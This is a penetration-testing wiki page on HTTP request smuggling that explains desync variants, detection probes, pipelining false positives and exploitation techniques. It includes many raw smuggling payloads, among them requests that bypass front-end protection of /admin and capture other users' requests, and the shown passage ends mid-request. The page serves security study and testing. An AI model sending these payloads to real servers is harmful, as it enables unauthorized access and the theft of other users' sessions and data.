overview.md (61645B)
1 --- 2 title: "HTTP Request Smuggling / HTTP Desync Attack" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/http-request-smuggling/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/http-request-smuggling/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # HTTP Request Smuggling / HTTP Desync Attack 14 15 ## What is 16 17 This vulnerability occurs when a **desynchronization** between a **front-end proxy** and a **back-end server** lets an attacker send an HTTP message that the front end interprets as **one request** but the back end interprets as **two requests**. The injected bytes can then alter how the back end processes the next user's request.<sup>[[1]](#references)</sup> 18 19 ### Theory 20 21 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) 22 23 > If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored. 24 25 **Content-Length** 26 27 > The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient. 28 29 **Transfer-Encoding: chunked** 30 31 > The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\ 32 > Chunked means that large data is sent in a series of chunks 33 34 ### Reality 35 36 The **front end** (a load balancer or reverse proxy) processes one of the _**Content-Length**_ or _**Transfer-Encoding**_ headers while the **back end** processes the other, causing a **desynchronization** between the two systems.<sup>[[4]](#references)</sup>\ 37 This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**. 38 39 ### Particularities 40 41 Remember that in HTTP **a new line character is composed by 2 bytes:** 42 43 - **Content-Length**: This header uses a **decimal number** to indicate the **number** of **bytes** of the **body** of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**. 44 - **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0` 45 - **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling. 46 47 ### Visible - Hidden 48 49 HTTP/1.1 commonly carries multiple requests over the same persistent TCP connection. A parsing discrepancy between systems on that connection can make one transmitted request appear as two or more requests to the final back end or an intermediary. 50 51 **[This research](https://portswigger.net/research/http1-must-die)** proposes ways to detect desynchronization behavior that WAFs may miss. Its visible-versus-hidden model looks for response discrepancies caused by differential parsing without immediately exploiting cross-user impact.<sup>[[15]](#references)</sup> 52 53 For example, compare a normal `Host` header with a space-prefixed ` host` header. If the back end rejects the latter value while the front end ignores the malformed header, the differing interpretations are a strong desynchronization signal. 54 55 This would be a **Hidden-Visible discrepancy**. 56 57 If the front-end would have taken into account the " host" header but the front-end didn't, this could have been a **Visible-Hidden** situation. 58 59 This technique revealed discrepancies between AWS ALB and IIS: `Host: foo/bar` produced `400, Server: awselb/2.0`, whereas `Host : foo/bar` produced `400, Server: Microsoft-HTTPAPI/2.0`, indicating that the latter request reached the back end. This is a hidden-visible (H-V) case. 60 61 Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`.<sup>[[15]](#references)</sup> 62 63 64 ## Basic Examples 65 66 > [!TIP] 67 > When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths. 68 69 HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.<sup>[[1]](#references)</sup> 70 71 ### Basic Examples of Vulnerability Types 72 73 | Type | Front end uses | Back end uses | Result | 74 | --- | --- | --- | --- | 75 | **CL.TE** | `Content-Length` | `Transfer-Encoding` | The back end treats bytes left after its terminating chunk as the start of the next request. | 76 | **TE.CL** | `Transfer-Encoding` | `Content-Length` | The back end consumes only the length it trusts and leaves the remaining bytes queued. | 77 | **TE.TE** | `Transfer-Encoding` | Obfuscated or differently parsed `Transfer-Encoding` | One hop ignores or interprets an obfuscated TE header differently, reducing the case to CL.TE or TE.CL behavior. | 78 79 These labels describe which framing rule each hop trusts; the concrete requests below show how the disagreement is constructed.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup> 80 81 > [!TIP] 82 > To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding. 83 84 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End) 85 86 - **Front-End (CL):** Processes the request based on the `Content-Length` header.<sup>[[6]](#references)</sup> 87 - **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header. 88 - **Attack Scenario:** 89 90 - The attacker sends a request where the `Content-Length` header's value does not match the actual content length. 91 - The front-end server forwards the entire request to the back-end, based on the `Content-Length` value. 92 - The back-end server processes the request as chunked due to the `Transfer-Encoding: chunked` header, interpreting the remaining data as a separate, subsequent request. 93 - **Example:** 94 95 ``` 96 POST / HTTP/1.1 97 Host: vulnerable-website.com 98 Content-Length: 30 99 Connection: keep-alive 100 Transfer-Encoding: chunked 101 102 0 103 104 GET /404 HTTP/1.1 105 Foo: x 106 ``` 107 108 #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End) 109 110 - **Front-End (TE):** Processes the request based on the `Transfer-Encoding` header. 111 - **Back-End (CL):** Processes the request based on the `Content-Length` header. 112 - **Attack Scenario:** 113 114 - The attacker sends a chunked request where the chunk size (`7b`) and actual content length (`Content-Length: 4`) do not align. 115 - The front-end server, honoring `Transfer-Encoding`, forwards the entire request to the back-end. 116 - The back-end server, respecting `Content-Length`, processes only the initial part of the request (`7b` bytes), leaving the rest as part of an unintended subsequent request. 117 - **Example:** 118 119 ``` 120 POST / HTTP/1.1 121 Host: vulnerable-website.com 122 Content-Length: 4 123 Connection: keep-alive 124 Transfer-Encoding: chunked 125 126 7b 127 GET /404 HTTP/1.1 128 Host: vulnerable-website.com 129 Content-Type: application/x-www-form-urlencoded 130 Content-Length: 30 131 132 x= 133 0 134 135 ``` 136 137 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation) 138 139 - **Servers:** Both support `Transfer-Encoding`, but one can be tricked into ignoring it via obfuscation. 140 - **Attack Scenario:** 141 142 - The attacker sends a request with obfuscated `Transfer-Encoding` headers. 143 - Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited. 144 - The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling. 145 - **Example:** 146 147 ``` 148 POST / HTTP/1.1 149 Host: vulnerable-website.com 150 Transfer-Encoding: xchunked 151 Transfer-Encoding : chunked 152 Transfer-Encoding: chunked 153 Transfer-Encoding: x 154 Transfer-Encoding: chunked 155 Transfer-Encoding: x 156 Transfer-Encoding:[tab]chunked 157 [space]Transfer-Encoding: chunked 158 X: X[\n]Transfer-Encoding: chunked 159 160 Transfer-Encoding 161 : chunked 162 ``` 163 164 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)** 165 166 - Both servers process the request based solely on the `Content-Length` header. 167 - This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length. 168 - **Example:** 169 170 ``` 171 POST / HTTP/1.1 172 Host: vulnerable-website.com 173 Content-Length: 16 174 Connection: keep-alive 175 176 Normal Request 177 ``` 178 179 #### **CL.0 Scenario** 180 181 - Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the `Content-Length` header (which is treated as 0), but the front-end parses it. 182 - It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request. 183 - **Example:** 184 185 ``` 186 POST / HTTP/1.1 187 Host: vulnerable-website.com 188 Content-Length: 16 189 Connection: keep-alive 190 191 Non-Empty Body 192 ``` 193 194 #### TE.0 Scenario 195 196 - Like the previous one but using TE 197 - Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)<sup>[[9]](#references)</sup> 198 - **Example**: 199 200 ```text 201 OPTIONS / HTTP/1.1 202 Host: {HOST} 203 Accept-Encoding: gzip, deflate, br 204 Accept: */* 205 Accept-Language: en-US;q=0.9,en;q=0.8 206 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 207 Transfer-Encoding: chunked 208 Connection: keep-alive 209 210 50 211 GET <http://our-collaborator-server/> HTTP/1.1 212 x: X 213 0 214 EMPTY_LINE_HERE 215 EMPTY_LINE_HERE 216 ``` 217 218 #### `0.CL` Scenario 219 220 In a `0.CL` sitation a request is send with a Content-Length like: 221 222 ```text 223 GET /Logon HTTP/1.1 224 Host: <redacted> 225 Content-Length: 226 7 227 228 GET /404 HTTP/1.1 229 X: Y 230 ``` 231 232 And the front-end doesn't take the `Content-Length` into account so it only sends the first request to the backend (until the 7 in the example). However, the backend sees the `Content-Length` and waits for a body that never arrives cause the front-end is already waiting for the response. 233 234 However, if there is a request that it's possible to send to the backend that is responded before receiving the body of the request, this deadlock won't occure. In IIS for example this happen sending requests to forbidden words like `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), this way, the initial request will be responded directly and the second requets will contain the request of the victim like: 235 236 ```text 237 GET / HTTP/1.1 238 X: yGET /victim HTTP/1.1 239 Host: <redacted> 240 ``` 241 242 This is useful to cause a desync, but it won't have any impact until now. 243 244 However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.<sup>[[15]](#references)</sup> 245 246 #### Emerging trigger families (2026) 247 248 Recent large-scale desync research produced several reusable **non-classic triggers** worth testing in addition to CL.TE / TE.CL / TE.0:<sup>[[22]](#references)</sup> 249 250 - **HTTP/1.0 + `Transfer-Encoding`**: some chains change framing as soon as `Transfer-Encoding` exists, even when the value is not `chunked`. `Transfer-Encoding: gzip` was enough to trigger CL.0-style desyncs because one hop still honored `Content-Length` while another treated the HTTP/1.0 message as faulty framed.<sup>[[22]](#references)</sup> 251 - **Response-only semantics inside requests**: `Content-Type: multipart/byteranges` can behave like a CL.0 trigger when one component reuses response-side multipart logic and effectively treats the request as bodyless while another still honors `Content-Length`. This generalizes into **Shared-Parser Confusion**: also test response-oriented features such as `Location`, `Set-Cookie`, `Range`, cache invalidation, and CONNECT tunnel state changes inside requests.<sup>[[22]](#references)</sup> 252 - **Dual-matching `Content-Length`**: some servers treat **any duplicate `Content-Length`** as “no body”, even when both values are identical, valid, and exactly match the body size. Another hop may accept the shared length, creating a CL.0-like desync with otherwise clean framing. Whitespace-prefixed / obs-fold-like placement of the second header is worth testing too.<sup>[[22]](#references)</sup> 253 - **CONNECT tunnel confusion**: after a successful `CONNECT`, trailing bytes from the CONNECT request can prefix the next request (for example `XGET ...`). This is mainly interesting behind front-ends that forward CONNECT upstream.<sup>[[22]](#references)</sup> 254 255 Minimal dual-matching probe: 256 257 ```http 258 GET / HTTP/1.1 259 Host: target 260 Content-Length: 28 261 Content-Length: 28 262 263 GET /x HTTP/5.1 264 X: X 265 ``` 266 267 A later victim request receiving `505 HTTP Version Not Supported` is a strong sign that the embedded request crossed a boundary.<sup>[[22]](#references)</sup> 268 269 #### Breaking the web server 270 271 This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**. 272 273 For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.<sup>[[10]](#references)</sup> 274 275 #### Forcing via hop-by-hop headers 276 277 Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**. 278 279 ```text 280 Connection: Content-Length 281 ``` 282 283 For **more information about hop-by-hop headers** visit: 284 285 286 [Abusing Hop By Hop Headers](/hacktricks/pentesting-web/abusing-hop-by-hop-headers) 287 288 ## Finding HTTP Request Smuggling 289 290 Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:<sup>[[2]](#references)</sup> 291 292 ### Finding CL.TE Vulnerabilities Using Timing Techniques 293 294 - **Method:** 295 296 - Send a TE.CL probe whose back end, if vulnerable, waits for the remaining bytes implied by `Content-Length`. 297 - **Example:** 298 299 ``` 300 POST / HTTP/1.1 301 Host: vulnerable-website.com 302 Transfer-Encoding: chunked 303 Connection: keep-alive 304 Content-Length: 4 305 306 1 307 A 308 0 309 ``` 310 311 - **Observation:** 312 - The front-end server processes the request based on `Content-Length` and cuts off the message prematurely. 313 - The back-end server, expecting a chunked message, waits for the next chunk that never arrives, causing a delay. 314 315 - **Indicators:** 316 - Timeouts or long delays in response. 317 - Receiving a 400 Bad Request error from the back-end server, sometimes with detailed server information. 318 319 ### Finding TE.CL Vulnerabilities Using Timing Techniques 320 321 - **Method:** 322 323 - Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data. 324 - **Example:** 325 326 ``` 327 POST / HTTP/1.1 328 Host: vulnerable-website.com 329 Transfer-Encoding: chunked 330 Connection: keep-alive 331 Content-Length: 6 332 333 0 334 X 335 ``` 336 337 - **Observation:** 338 - The front-end server processes the request based on `Transfer-Encoding` and forwards the entire message. 339 - The back-end server, expecting a message based on `Content-Length`, waits for additional data that never arrives, causing a delay. 340 341 ### Other Methods to Find Vulnerabilities 342 343 - **Differential Response Analysis:** 344 - Send slightly varied versions of a request and observe if the server responses differ in an unexpected way, indicating a parsing discrepancy. 345 - **Using Automated Tools:** 346 - Tools like Burp Suite's 'HTTP Request Smuggler' extension can automatically test for these vulnerabilities by sending various forms of ambiguous requests and analyzing the responses. 347 - **Content-Length Variance Tests:** 348 - Send requests with varying `Content-Length` values that are not aligned with the actual content length and observe how the server handles such mismatches. 349 - **Transfer-Encoding Variance Tests:** 350 - Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations. 351 352 ### The `Expect: 100-continue` header 353 354 Check how this header can help exploiting a http desync in: 355 356 [Special Http Headers](/hacktricks/network-services-pentesting/pentesting-web/special-http-headers) 357 358 ## CRLF-powered request splitting and desynchronization 359 360 If attacker-controlled data is URL-decoded before a reverse proxy copies it into an upstream HTTP/1 request, `%0d%0a` stops being just response/header injection and becomes a request-smuggling primitive. A common example is Nginx `proxy_pass http://backend$uri;`, because `$uri` is normalized before the upstream request is constructed. The same sink can hide in regex captures, query parameters, cookie values, or custom upstream headers populated from request data. See also [CRLF (%0D%0A) Injection](/hacktricks/pentesting-web/crlf-0d-0a).<sup>[[23]](#references)</sup> 361 362 ### Detection notes 363 364 - Prefer payloads that should trigger a **distinct upstream status code** if the injected bytes reached the back end: invalid HTTP version (`505`), unsupported `Transfer-Encoding` (`501`), invalid `Expect` (`417`), or a malformed `Content-Length` (`400`).<sup>[[23]](#references)</sup> 365 - If `CRLFCRLF` immediately causes `400` and connection close, do **not** discard the sink yet: some targets still allow **single-header injection**, which is enough for `CL.TE` or request-tunnelling style desyncs.<sup>[[23]](#references)</sup> 366 - Do not limit testing to the path. In real targets the vulnerable value may be copied into the upstream request line from a **cookie/session token**, or injected into a **custom upstream header** first and only later broken out into a second request.<sup>[[23]](#references)</sup> 367 368 ### Escalation patterns 369 370 - **Request splitting / response queue poisoning:** if two CRLF pairs survive, terminate the first header block and append a complete second request. One front-end request then becomes two back-end requests, shifting the response queue and enabling cross-user response theft, cache poisoning, and sometimes cross-tenant leakage when the smuggled `Host` can be changed on shared CDN infrastructure.<sup>[[23]](#references)</sup> 371 - **Single-header fallback -> CRLF-powered `CL.TE`:** if only one injected header survives, add `Transfer-Encoding: chunked` while the front end still honors a normal `Content-Length`. An incomplete chunk is a strong confirmation probe because the back end waits for more body bytes; exploitation is the usual `0\r\n\r\n<smuggled-prefix>` pattern that consumes the next request on the reused connection.<sup>[[23]](#references)</sup> 372 - **Blind request-tunnelling disclosure with `Expect`:** when the inner request is processed on a private upstream but the response is normally hidden, inject `Expect: 100-continue`. Some Nginx flows relay the unexpected `100 Continue` plus the tunneled response, which also enables bypass of front-end-only ACLs by placing an allowed path in the outer request and a protected path in the inner one.<sup>[[23]](#references)</sup> 373 - **Browser-sendable desyncs:** because the control bytes can live in the URL path or POST body instead of forbidden custom headers, many CRLF-powered desyncs are reachable via navigation or `fetch()`, which makes connection-locked and IP-locked variants practical once a server-side sink is confirmed.<sup>[[23]](#references)</sup> 374 375 ### HTTP Request Smuggling Vulnerability Testing 376 377 After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource. 378 379 **Key Considerations** 380 381 When testing for request smuggling vulnerabilities by interfering with other requests, bear in mind: 382 383 - **Distinct Network Connections:** The "attack" and "normal" requests should be dispatched over separate network connections. Utilizing the same connection for both doesn't validate the vulnerability's presence. 384 - **Consistent URL and Parameters:** Aim to use identical URLs and parameter names for both requests. Modern applications often route requests to specific back-end servers based on URL and parameters. Matching these increases the likelihood that both requests are processed by the same server, a prerequisite for a successful attack. 385 - **Timing and Racing Conditions:** The "normal" request, meant to detect interference from the "attack" request, competes against other concurrent application requests. Therefore, send the "normal" request immediately following the "attack" request. Busy applications may necessitate multiple trials for conclusive vulnerability confirmation. 386 - **Load Balancing Challenges:** Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability. 387 - **Unintended User Impact:** If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach. 388 389 ### Generic cross-request contamination detection 390 391 Timing probes are still useful for CL.TE / TE.CL deadlocks, but newer tooling also looks for any reproducible **cross-request contamination** instead of guessing the desync class first. Record a stable **control/victim** request and its normal response, send a candidate trigger on a **separate connection**, then immediately repeat the same victim request. If the victim response changes reproducibly, request isolation is broken even if you do not yet know whether the bug is CL.0, TE.0, response-queue poisoning, or something stranger.<sup>[[22]](#references)</sup> 392 393 A good classification trick is to place a **recognizable request** in the apparent body and look for a distinctive downstream response. For example, `GET / HTTP/777` should provoke `505 HTTP Version Not Supported`, and a smuggled `TRACE` request can reflect escaped bytes back in the response. This finds unknown desync classes without hard-coding the parser discrepancy first.<sup>[[22]](#references)</sup> 394 395 ### Clean probes vs dirty probes 396 397 Do not treat “two responses came back” as proof by itself. If the trigger is ambiguous enough that the target could legitimately parse it as **two pipelined requests**, you may have only observed normal HTTP/1.1 behavior. Prefer **clean probes**: RFC-compliant requests with one unambiguous body boundary. If a clean request still causes a second response, or changes a later victim response, that is a much stronger desync signal.<sup>[[22]](#references)</sup> 398 399 ### Protocol-ruler transformation detection 400 401 If the back-end has a sharp **maximum header length**, use that limit as a black-box ruler to detect front-end rewriting even when no header is reflected. Measure the largest accepted header value, replace a couple of known bytes with a candidate byte sequence, and measure again. If two bytes make the acceptance boundary shrink by ~10 bytes, the front-end likely expanded or normalized them before forwarding. This is useful for finding Unicode/mojibake rewrites, header dropping/overrides, and spoofing-header normalization that can later produce FE↔BE parser disagreement.<sup>[[22]](#references)</sup> 402 403 ```http 404 GET / HTTP/1.1 405 Host: target 406 A: AAA...{64040} -> 200 407 408 GET / HTTP/1.1 409 Host: target 410 A: AAA...{64041} -> 400 411 ``` 412 413 ```http 414 GET / HTTP/1.1 415 Host: target 416 A: <candidate-bytes>AAA...{64030} -> 200 417 ``` 418 419 > [!TIP] 420 > If you want to automate **trigger generation, permutation, and validation** instead of only manual probing, check [AI-Assisted Fuzzing & Automated Vulnerability Discovery](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) for the generalized LLM/evaluator patterns behind HTTP Terminator.<sup>[[22]](#references)</sup> 421 422 ## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling 423 424 Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.<sup>[[11]](#references)</sup><sup>[[12]](#references)</sup> 425 426 ### Why pipelining creates classic false positives 427 428 HTTP/1.1 reuses a single TCP/TLS connection and concatenates requests and responses on the same stream. In pipelining, the client sends multiple requests back-to-back and relies on in-order responses. A common false-positive is to resend a malformed CL.0-style payload twice on a single connection: 429 430 ```text 431 POST / HTTP/1.1 432 Host: hackxor.net 433 Content_Length: 47 434 435 GET /robots.txt HTTP/1.1 436 X: Y 437 ``` 438 439 Responses may look like: 440 441 ```text 442 HTTP/1.1 200 OK 443 Content-Type: text/html 444 445 ``` 446 ```text 447 HTTP/1.1 200 OK 448 Content-Type: text/plain 449 450 User-agent: * 451 Disallow: /settings 452 ``` 453 454 If the server ignored the malformed `Content_Length`, there is no FE↔BE desync. With reuse, your client actually sent this byte-stream, which the server parsed as two independent requests: 455 456 ```text 457 POST / HTTP/1.1 458 Host: hackxor.net 459 Content_Length: 47 460 461 GET /robots.txt HTTP/1.1 462 X: YPOST / HTTP/1.1 463 Host: hackxor.net 464 Content_Length: 47 465 466 GET /robots.txt HTTP/1.1 467 X: Y 468 ``` 469 470 Impact: none. You just desynced your client from the server framing. 471 472 > [!TIP] 473 > Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse". 474 475 ### Litmus tests: pipelining or real desync? 476 477 1. Disable reuse and re-test 478 - In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence". 479 - In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`. 480 - If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync. 481 2. HTTP/2 nested-response check 482 - Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact. 483 3. Partial-requests probe for connection-locked front-ends 484 - Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse. 485 - See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.<sup>[[13]](#references)</sup> 486 4. State probes 487 - Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation). 488 - Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this. 489 5. Visualize the wire 490 - Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests. 491 492 ### Connection‑locked request smuggling (reuse-required) 493 494 Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact: 495 - Prove the server-side bug 496 - Use the HTTP/2 nested-response check, or 497 - Use partial-requests to show the FE only reuses upstream when the client does. 498 - Show real impact even if direct cross-user socket abuse is blocked: 499 - Cache poisoning: poison shared caches via the desync so responses affect other users. 500 - Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass. 501 - Bypass FE controls: smuggle restricted paths/methods past the front-end. 502 - Host-header abuse: combine with host routing quirks to pivot to internal vhosts. 503 - Operator workflow 504 - Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)"). 505 - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact. 506 507 > See also connection‑state attacks, which are closely related but not technically smuggling: 508 > 509 >{{#ref}} 510 >../http-connection-request-smuggling.md 511 >{{#endref}} 512 513 ### Client‑side desync constraints 514 515 If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.<sup>[[14]](#references)</sup> 516 517 For background and end-to-end workflows: 518 519 [Browser Http Request Smuggling](/hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling) 520 521 ### Tooling to help decide 522 523 - HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation. 524 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda 525 - Turbo Intruder: precise control over connection reuse via `requestsPerConnection`. 526 - Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation. 527 528 > [!NOTE] 529 > Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.). 530 531 ## Abusing HTTP Request Smuggling 532 533 ### Circumventing Front-End Security via HTTP Request Smuggling 534 535 Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.<sup>[[3]](#references)</sup> 536 537 Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy: 538 539 **CL.TE Example** 540 541 ```text 542 POST / HTTP/1.1 543 Host: [redacted].web-security-academy.net 544 Cookie: session=[redacted] 545 Connection: keep-alive 546 Content-Type: application/x-www-form-urlencoded 547 Content-Length: 67 548 Transfer-Encoding: chunked 549 550 0 551 GET /admin HTTP/1.1 552 Host: localhost 553 Content-Length: 10 554 555 x= 556 ``` 557 558 In the CL.TE attack, the `Content-Length` header is leveraged for the initial request, while the subsequent embedded request utilizes the `Transfer-Encoding: chunked` header. The front-end proxy processes the initial `POST` request but fails to inspect the embedded `GET /admin` request, allowing unauthorized access to the `/admin` path. 559 560 **TE.CL Example** 561 562 ```text 563 POST / HTTP/1.1 564 Host: [redacted].web-security-academy.net 565 Cookie: session=[redacted] 566 Content-Type: application/x-www-form-urlencoded 567 Connection: keep-alive 568 Content-Length: 4 569 Transfer-Encoding: chunked 570 2b 571 GET /admin HTTP/1.1 572 Host: localhost 573 a=x 574 0 575 576 ``` 577 578 Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path. 579 580 ### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> 581 582 Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.<sup>[[3]](#references)</sup> 583 584 To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following: 585 586 ```text 587 POST / HTTP/1.1 588 Host: vulnerable-website.com 589 Content-Length: 130 590 Connection: keep-alive 591 Transfer-Encoding: chunked 592 593 0 594 595 POST /search HTTP/1.1 596 Host: vulnerable-website.com 597 Content-Type: application/x-www-form-urlencoded 598 Content-Length: 100 599 600 search= 601 ``` 602 603 In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request. 604 605 It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out. 606 607 This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter. 608 609 This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation. 610 611 ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> 612 613 It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:<sup>[[3]](#references)</sup> 614 615 By appending the following request as the value of a parameter, you can store the subsequent client's request: 616 617 ```text 618 POST / HTTP/1.1 619 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net 620 Content-Type: application/x-www-form-urlencoded 621 Content-Length: 319 622 Connection: keep-alive 623 Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi 624 Transfer-Encoding: chunked 625 626 0 627 628 POST /post/comment HTTP/1.1 629 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net 630 Content-Length: 659 631 Content-Type: application/x-www-form-urlencoded 632 Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi 633 634 